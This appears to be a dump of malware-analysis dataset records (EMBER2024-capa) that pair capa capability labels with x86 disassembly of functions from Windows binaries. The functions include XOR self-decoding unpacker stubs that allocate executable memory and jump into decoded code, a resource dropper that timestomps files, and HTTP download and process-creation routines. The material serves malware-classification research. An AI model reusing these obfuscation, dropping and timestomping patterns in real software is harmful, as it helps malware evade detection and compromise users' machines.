joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.10007073
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10007073
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.10007073
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.10007073
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.10007073
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.10007073
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.10007073
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.10007073
push 0xd008
push edi
call fcn.10007073
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.10007073
int3

Function at 0x10007073
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x10007082
pop dword [ebp - 0x38]
mov eax, 0x652ed709
sub eax, 0x552e6687
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x37ab9
push 0
mov eax, 0x2fb17018
sub eax, 0x1fb02fb4
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0x4290
mov edx, eax
mov ebx, 0x10018600
add ebx, dword [ebp - 0x38]
mov esi, 0x5b0b09a4
add esi, 0x28f3ca51
sub dword [ebp - 0x24], ebx
mov edi, dword [ebx]
sub dword [ebp - 0xc], 0x36e0ba10
add edi, esi
xor dword [ebp - 4], 0x54ad4566
mov dword [edx], edi
sub dword [ebp - 0x14], 0xe291b3fa
add edx, 0x7cc3000c
add edx, 0x833cfff8
add ebx, 0x453fce1f
sub ebx, 0x453fce1b
loop 0x100070d5
add eax, 0x23cab980
add eax, 0xdc364393
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x401c66
pop dword [ebp - 0x20]
mov eax, 0x401c66
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x595db253
add dword [ebp - 0x30], 0xf4f492f8
mov dword [ebp - 0x2c], 0xfa80973f
sub dword [ebp - 0x2c], 0xc84d4afa
mov dword [ebp - 0x28], 0x6a9e5351
sub dword [ebp - 0x28], 0x1e520f23
mov dword [ebp - 0x24], 0x26c9e1b8
add dword [ebp - 0x24], 0xd9361e48
lea eax, [ebp - 0x30]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xae285156
add dword [ebp - 0x30], 0xc64a1800
mov dword [ebp - 0x2c], 0x9c98737f
add dword [ebp - 0x2c], 0xa4d3edf6
mov dword [ebp - 0x28], 0x37fffbb1
sub dword [ebp - 0x28], 0xd4908f45
mov dword [ebp - 0x24], 0xbee22482
sub dword [ebp - 0x24], 0xbee22482
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x7a8fd4aa
sub eax, 0x7a4fa47e
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3908a
push 0
call eax
mov ecx, 0x5236
mov edx, eax
mov edi, 0x407000
add edi, dword [ebp - 0x20]
mov esi, 0x8f6d0c51
sub esi, 0x14c9915b
mov dword [ebp - 0x1c], 0x2892c927
mov ebx, dword [edi]
xor ebx, esi
add dword [ebp - 0x18], 0xf7772c5d
mov dword [edx], ebx
mov dword [ebp - 0xc], 0xcd5e5d58
add edx, 0x7906e771
add edx, 0x86f91893
add edi, 0x56547df5
sub edi, 0x56547df1
loop 0x401d72
add eax, 0xb535ed4c
sub eax, 0xb534b1a1
xor ebx, ebx
add ebx, eax
add eax, 0xc958eecb
sub eax, 0xc958eec6
mov ecx, 0x400000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x401670
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0x410
push ebp
push esi
push edi
xor esi, esi
mov edi, ecx
push esi
push esi
push esi
mov eax, dword [edi]
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebp, eax
cmp ebp, esi
mov dword [esp + 0x14], ebp
je 0x4017ce
push esi
lea ecx, [esp + 0x1c]
push 4
push ecx
push 0x3c
push ebp
mov dword [esp + 0x2c], esi
call dword [sym.imp.WININET.dll_InternetSetOptionExA]
test eax, eax
je 0x4017c7
mov edx, dword [edi + 4]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push esi
dec ecx
push 0x84000100
push ecx
push edx
mov edx, dword [esp + 0x430]
push edx
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, esi
mov dword [esp + 0x10], eax
je 0x4017c7
lea ecx, [esp + 0xc]
push ebx
push ecx
lea edx, [esp + 0x24]
push 0x400
push edx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4017bb
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4017bb
test esi, esi
jne 0x40172f
push 0xc
push 8
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov eax, dword [esp + 0x10]
mov edi, dword [esi + 4]
mov ecx, dword [esi]
mov ebp, eax
add eax, edi
cmp eax, ecx
mov dword [esi + 4], eax
jbe 0x401781
mov ecx, eax
and ecx, 0x3ff
neg ecx
sbb ecx, ecx
neg ecx
shr eax, 0xa
add ecx, eax
mov eax, dword [esi + 8]
shl ecx, 0xa
test eax, eax
mov dword [esi], ecx
mov eax, ecx
jne 0x40176e
push eax
push 8
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x40177e
mov ecx, dword [esi + 8]
push eax
push ecx
push 8
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov dword [esi + 8], eax
mov eax, dword [esi + 8]
lea edx, [esp + 0x20]
push ebp
add eax, edi
push edx
push eax
jmp 0x402b32
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop ebx
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 0x410
ret 4

Function at 0x401880
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push edi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
lea ecx, [esp + 0x14]
mov edx, dword [esp + 0x5c]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edx
mov dword [esp + 0x3c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
add esp, 0x54
ret

Function at 0x401a10
Capabilities:
Read file on windows

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [ecx]
lea eax, [esp + 8]
push 0
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 8]
ret 8

Function at 0x401a40
Capabilities:
Write file on windows

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [ecx]
lea eax, [esp + 8]
push 0
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
ret 8
Function at 0x1001d471
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10048aac], 0
push esi
push edi
jne 0x1001d3e7
call fcn.1001d353
test eax, eax
je 0x1001d42c
mov eax, dword [0x10048aac]
cmp eax, 1
jne 0x1001d408
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1001d42c
jmp 0x1001d46e
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1001d46e
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1001d430
xor eax, eax
jmp 0x1001d46e
mov eax, dword [esi]
push dword [0x10048aac]
call edi
mov edi, eax
test edi, edi
je 0x1001d452
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1001d46e
lea edi, [esi + 0xff0]
push esi
push dword [0x10048aac]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1001d458
mov eax, esi
pop edi
pop esi
ret
jmp 0x1001d3d3

Function at 0x1001d742
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10047578]
jne 0x1001d74c
repz ret
jmp fcn.10023329

Function at 0x1002fb2e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x1002fb3d
pop dword [ebp - 8]
mov eax, 0xb0cc7914
sub eax, 0xa0c97dd7
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x414ef
push 0
mov eax, 0xe028d811
add eax, 0x2fdaaabf
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0xda2fa87e
sub ecx, 0xda2f5d63
xor edi, edi
add edi, eax
mov ebx, 0x3c1e025a
sub ebx, 0x2c16885a
add ebx, dword [ebp - 8]
mov esi, 0x5e26f180
add esi, 0xe72776d0
xor dword [ebp - 4], 0x8b0f0604
mov edx, dword [ebx]
mov dword [ebp - 4], 0x197fdb28
add edx, esi
xor dword [ebp - 4], ecx
mov dword [edi], edx
sub dword [ebp - 4], 0x203d1bce
add edi, 0xd252ffc7
add edi, 0x2dad003d
add ebx, 4
loop 0x1002fb9e
add eax, 0x942b6636
sub eax, 0x942a46f7
mov ebx, eax
add eax, 0x75184cf7
add eax, 0x8ae7b30e
mov ecx, 0xbc009ad3
sub ecx, 0xac009ad3
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x10024a70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x10024a7f
pop dword [ebp - 0x30]
mov eax, 0x7635af6b
add eax, 0x99cc9b14
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x3f918
push 0
mov eax, 0xdf1ee987
add eax, 0x30e3a785
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x5b95
mov esi, eax
mov edx, 0xb737deed
add edx, 0x58cc8d13
add edx, dword [ebp - 0x30]
mov edi, 0xd284502e
add dword [ebp - 4], esi
mov ebx, dword [edx]
add dword [ebp - 8], 0x47c56524
sub ebx, edi
xor dword [ebp - 0x10], ecx
mov dword [esi], ebx
sub dword [ebp - 4], 0xb2eccef9
add esi, 0x1d48908d
sub esi, 0x1d489089
add edx, 0x23c4fe8
add edx, 0xfdc3b01c
loop 0x10024ad2
add eax, 0xc7052585
sub eax, 0xc703c45e
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x83ea3798
add ecx, 0x8c15c868
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x100cf2de
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x100cf2ed
pop dword [ebp - 0x48]
mov eax, 0xd9818b4b
sub eax, 0xc974985e
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x731ed
push 0
mov eax, 0x591454c8
add eax, 0xb701bccc
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0x3902
xor edx, edx
add edx, eax
mov ebx, 0x10182200
add ebx, dword [ebp - 0x48]
mov edi, 0xe598077
sub dword [ebp - 0x40], eax
mov esi, dword [ebx]
sub esi, edi
mov dword [ebp - 0x20], 0x9e9120aa
mov dword [edx], esi
xor dword [ebp - 0x28], 0x4f6defbe
add edx, 0xa5d89454
add edx, 0x5a276bb0
add ebx, 0xab7636d7
sub ebx, 0xab7636d3
loop 0x100cf33c
add eax, 0x9ebe8816
sub eax, 0x9ebdb13b
xor ebx, ebx
add ebx, eax
add eax, 0xcc8827cf
sub eax, 0xcc8827ca
mov ecx, 0x6a4ee959
sub ecx, 0x5a4ee959
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x100e08a8
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.kernel32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x100e08b9
pop esi
ret
push ebx
push edi
push esi
call fcn.100cf2de
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.100cf2de
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x100e08e1
push ebx
push esi
push edi
call fcn.100ca6c0
add esp, 0xc
push 0
call fcn.100cf2de
pop ecx
push esi
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x401000
Capabilities:
Check if file exists
Delete file
Extract resource via kernel32 functions
Set file attributes
Timestomp file
Write file on windows

Disassembly:
sub esp, 0x20
mov eax, dword [esp + 0x2c]
push ebx
push esi
push edi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401036
pop edi
pop esi
mov eax, 0xfffffc18
pop ebx
add esp, 0x20
ret
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x30]
push ebp
push ecx
push edx
push 0
mov esi, 0xfffffc17
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
je 0x4010b0
push edi
push 0
mov esi, 0xfffffc16
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
test ebp, ebp
jbe 0x4010b0
push edi
push 0
mov esi, 0xfffffc15
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4010b0
push eax
mov esi, 0xfffffc14
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x4010b0
lea ecx, [esp + 0x38]
push 0
push ecx
push ebp
push eax
push ebx
mov dword [esp + 0x4c], 0
mov esi, 0xfffffc13
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4010b0
mov esi, 2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [esp + 0x3c]
push 0x80
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp esi, 2
pop ebp
jne 0x401141
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
xor esi, esi
push edx
push eax
mov word [esp + 0x24], 0x7d2
mov word [esp + 0x26], 4
mov word [esp + 0x28], 7
mov word [esp + 0x2a], 0x11
mov word [esp + 0x2c], 0x3a
mov word [esp + 0x2e], si
mov word [esp + 0x30], si
mov word [esp + 0x32], si
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea ecx, [esp + 0x14]
lea edx, [esp + 0xc]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea eax, [esp + 0x14]
push eax
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x20
ret
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
mov eax, 0xfffffc13
pop ebx
add esp, 0x20
ret
Function at 0x403f30
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x5368c7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
lea eax, [esp + 4]
push esi
mov esi, ecx
push eax
mov dword [esp + 0x10], 0
call fcn.00403d50
mov ecx, dword [0x5ab980]
mov dword [esp + 0x18], 1
mov dword [esp + 4], ecx
mov eax, dword [esi + 4]
mov byte [esp + 0x18], 2
cmp eax, 0xa
jl 0x403fa6
cmp eax, 0x64
jge 0x403fa6
mov edx, dword [esp + 8]
lea eax, [esp + 4]
push edx
push str.__s_
push eax
call fcn.0050e6c7
add esp, 0xc
lea ecx, [esp + 4]
push ecx
lea ecx, [esp + 0xc]
call fcn.00512a1d
mov edx, dword [esi + 0xc]
mov eax, dword [esi + 0x44]
mov ecx, dword [esi + 0x1c]
push edx
mov edx, dword [esi + 0x18]
push eax
mov eax, dword [esi + 0x14]
push ecx
mov ecx, dword [esi + 0x10]
push edx
mov edx, dword [esi + 0x24]
push eax
mov eax, dword [esi + 0x20]
push ecx
mov ecx, dword [esi + 8]
push edx
mov edx, dword [esi + 4]
push eax
mov eax, dword [esp + 0x28]
push ecx
push edx
push eax
lea ecx, [esp + 0x30]
push str._s_t_i_t_s_t_s_t_s_t_s_t_s_t_s_t_s_t_i_t_s
push ecx
call fcn.0050e6c7
mov esi, dword [esp + 0x54]
add esp, 0x34
lea edx, [esp + 4]
mov ecx, esi
push edx
call fcn.00512659
mov dword [esp + 0xc], 1
lea ecx, [esp + 4]
mov byte [esp + 0x18], 1
call fcn.005128e4
lea ecx, [esp + 8]
mov byte [esp + 0x18], 0
call fcn.005128e4
mov ecx, dword [esp + 0x10]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x18
ret 4
Function at 0x404030
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5368e8
push eax
mov eax, dword [esp + 0x18]
mov dword fs:[0], esp
push esi
push edi
test eax, eax
je 0x404058
mov ecx, dword [esp + 0x1c]
call fcn.00510e2a
mov eax, dword [esp + 0x18]
mov edi, dword [eax]
test edi, edi
je 0x40418a
cmp byte [edi], 0
je 0x4041ba
push 0x5966bc
push edi
call fcn.004f9ca0
mov esi, eax
add esp, 8
test esi, esi
jne 0x404095
push 0x5966b8
push edi
call fcn.004f9ca0
add esp, 8
mov esi, eax
jmp 0x40409e
cmp esi, edi
jbe 0x4041a2
dec esi
test esi, esi
je 0x4041ba
cmp esi, edi
jbe 0x4040d3
cmp byte [esi - 1], 0x22
jne 0x4040d3
push 0x22
push esi
call fcn.004f9be0
add esp, 8
test eax, eax
je 0x4040c3
sub eax, esi
jmp 0x4040e1
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ecx
jmp 0x4040e3
push 0x5966b4
push esi
call fcn.004f9b90
add esp, 8
mov edi, eax
test edi, edi
jle 0x40418a
cmp edi, 0x104
jg 0x4041a2
push edi
push esi
lea ecx, [esp + 0x28]
call fcn.0050dd4b
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], 0
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x404156
test al, 0x10
je 0x404137
lea edx, [esp + 0x20]
push edx
call fcn.0041f9c0
lea eax, [esp + 0x24]
push eax
call fcn.0041fe70
add esp, 8
jmp 0x404144
lea ecx, [esp + 0x20]
push ecx
call fcn.0041fdf0
add esp, 4
mov edx, dword [esp + 0x20]
mov eax, dword [edx - 8]
test eax, eax
je 0x40416f
lea eax, [esp + 0x20]
push eax
jmp 0x404166
mov ecx, dword [esp + 0x20]
mov eax, dword [ecx - 8]
test eax, eax
je 0x40416f
lea edx, [esp + 0x20]
push edx
mov ecx, dword [esp + 0x20]
call fcn.00510fd7
lea ecx, [esp + 0x20]
add edi, esi
mov dword [esp + 0x10], 0xffffffff
call fcn.005128e4
test edi, edi
jne 0x404066
mov eax, dword [esp + 0x1c]
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
pop edi
pop esi
add esp, 0xc
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [ecx + 0xc]
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
pop edi
pop esi
add esp, 0xc
ret
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 8]
pop edi
pop esi
mov eax, dword [edx + 0xc]
mov dword fs:[0], ecx
add esp, 0xc
ret
Function at 0x404880
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x536a19
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xb4
push esi
mov esi, ecx
mov dword [esp + 4], esi
call fcn.00403a70
push 0x400
lea ecx, [esp + 0xc]
mov dword [esp + 0xc4], 0
mov dword [esi], 0x559ba4
call fcn.0051c058
push 0
push 0x1000
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [esp + 0x40]
mov byte [esp + 0xd0], 1
call fcn.0051af01
mov ecx, dword [esp + 0xc8]
lea eax, [esp + 0x30]
push eax
mov byte [esp + 0xc4], 2
mov edx, dword [ecx]
call dword [edx + 8]
lea ecx, [esp + 0x30]
call fcn.0051b065
mov edx, dword [esp + 8]
push 0
push 0
lea ecx, [esp + 0x10]
call dword [edx + 0x28]
push 0
push 0x1000
lea eax, [esp + 0x10]
push 1
push eax
lea ecx, [esp + 0x84]
call fcn.0051af01
lea ecx, [esp + 0x74]
mov byte [esp + 0xc0], 3
push ecx
mov ecx, esi
call fcn.00404800
lea ecx, [esp + 0x74]
mov byte [esp + 0xc0], 2
call fcn.0051afdd
lea ecx, [esp + 0x30]
mov byte [esp + 0xc0], 1
call fcn.0051afdd
lea ecx, [esp + 8]
mov byte [esp + 0xc0], 0
call fcn.0051c11d
mov ecx, dword [esp + 0xb8]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0xc0
ret 4

Function at 0x404a40
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x536aa7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov eax, dword [0x5ab980]
push esi
mov esi, ecx
mov dword [esp + 0x14], 0
mov dword [esp + 4], eax
mov ecx, dword [esi + 0x48]
mov dword [esp + 0x20], 1
shl ecx, 1
push ecx
push 0x20
lea ecx, [esp + 0x10]
call fcn.0050dd17
lea edx, [esp + 0x10]
mov ecx, esi
push edx
mov byte [esp + 0x24], 2
call fcn.00403f30
push eax
lea eax, [esp + 0xc]
lea ecx, [esp + 0x10]
push eax
push ecx
mov byte [esp + 0x2c], 3
call fcn.00512b13
mov edx, dword [eax]
mov eax, dword [esi + 0x48]
push edx
push eax
lea ecx, [esp + 0xc]
push str._i_t_s
push ecx
mov byte [esp + 0x30], 4
call fcn.0050e6c7
add esp, 0x10
lea ecx, [esp + 0xc]
mov byte [esp + 0x20], 3
call fcn.005128e4
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 2
call fcn.005128e4
mov esi, dword [esp + 0x28]
lea edx, [esp + 4]
push edx
mov ecx, esi
call fcn.00512659
mov dword [esp + 0x14], 1
lea ecx, [esp + 8]
mov byte [esp + 0x20], 1
call fcn.005128e4
lea ecx, [esp + 4]
mov byte [esp + 0x20], 0
call fcn.005128e4
mov ecx, dword [esp + 0x18]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x20
ret 4
Function at 0x407eb0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x5370f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, ecx
mov eax, dword [0x5ab980]
mov dword [esp + 0x28], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov eax, dword [edi + 0x19c]
mov byte [esp + 0x28], 2
test eax, eax
je 0x4080ad
mov eax, dword [esp + 0x30]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x4080ad
mov esi, dword [esp + 0x34]
mov ecx, dword [esi]
mov eax, dword [ecx - 8]
test eax, eax
je 0x4080ad
call fcn.00422450
lea edx, [esp + 0x30]
push edx
call fcn.0041f9c0
add esp, 4
lea eax, [esp + 0xc]
lea edx, [esp + 0x30]
push eax
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push edx
call fcn.00512659
call fcn.0041fa80
add esp, 8
test eax, eax
jne 0x4080ad
lea eax, [esp + 0xc]
push esi
lea ecx, [esp + 0x38]
push eax
push ecx
call fcn.00512b13
lea edx, [esp + 0x10]
mov byte [esp + 0x28], 3
push edx
push eax
call fcn.0041fef0
add esp, 8
lea ecx, [esp + 0x34]
test eax, eax
setne bl
mov byte [esp + 0x28], 2
call fcn.005128e4
test bl, bl
jne 0x4080ad
push esi
call fcn.004054e0
add esp, 4
mov ebx, eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0xc]
push eax
push ecx
mov ecx, dword [edi + 0x19c]
call fcn.00402c50
mov esi, eax
lea edx, [esp + 0x10]
lea eax, [esp + 0xc]
push edx
push eax
lea ecx, [edi + 0x50]
call fcn.00405950
cmp esi, 0x64
mov dword [eax + 4], ebx
jl 0x408014
push 1
push ecx
lea edx, [esp + 0x14]
mov ecx, esp
mov dword [esp + 0x3c], esp
push edx
call fcn.00512659
mov ecx, edi
call fcn.00408690
test eax, eax
je 0x4080ad
cmp esi, 0x65
mov ecx, 2
jl 0x407ff8
mov ecx, 3
cmp esi, 0xc8
jl 0x408003
add ecx, 2
cmp esi, 0xc9
jl 0x40800c
inc ecx
add dword [eax + 0x14], ecx
jmp 0x4080ad
cmp esi, 0xfffffffb
jne 0x4080ad
lea eax, [esp + 0xc]
lea ecx, [esp + 0x34]
push eax
call fcn.00512659
mov ecx, dword [esp + 0x14]
mov bl, 4
inc ecx
mov byte [esp + 0x28], bl
push ecx
push 0x5c
lea ecx, [esp + 0x3c]
call fcn.00512db9
cmp eax, dword [esp + 0x14]
jle 0x40809f
inc eax
lea ecx, [esp + 0x34]
push eax
push 0x5c
call fcn.00512db9
test eax, eax
jle 0x408085
inc eax
lea edx, [esp + 0x18]
push eax
push edx
lea ecx, [esp + 0x3c]
call fcn.0050e2a7
push eax
lea ecx, [esp + 0x38]
mov byte [esp + 0x2c], 5
call fcn.00512a1d
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], bl
call fcn.005128e4
push 1
push ecx
lea eax, [esp + 0x3c]
mov ecx, esp
mov dword [esp + 0x24], esp
push eax
call fcn.00512659
mov ecx, edi
call fcn.00408690
lea ecx, [esp + 0x34]
mov byte [esp + 0x28], 2
call fcn.005128e4
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 1
call fcn.005128e4
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 0
call fcn.005128e4
lea ecx, [esp + 0x30]
mov dword [esp + 0x28], 0xffffffff
call fcn.005128e4
mov ecx, dword [esp + 0x20]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
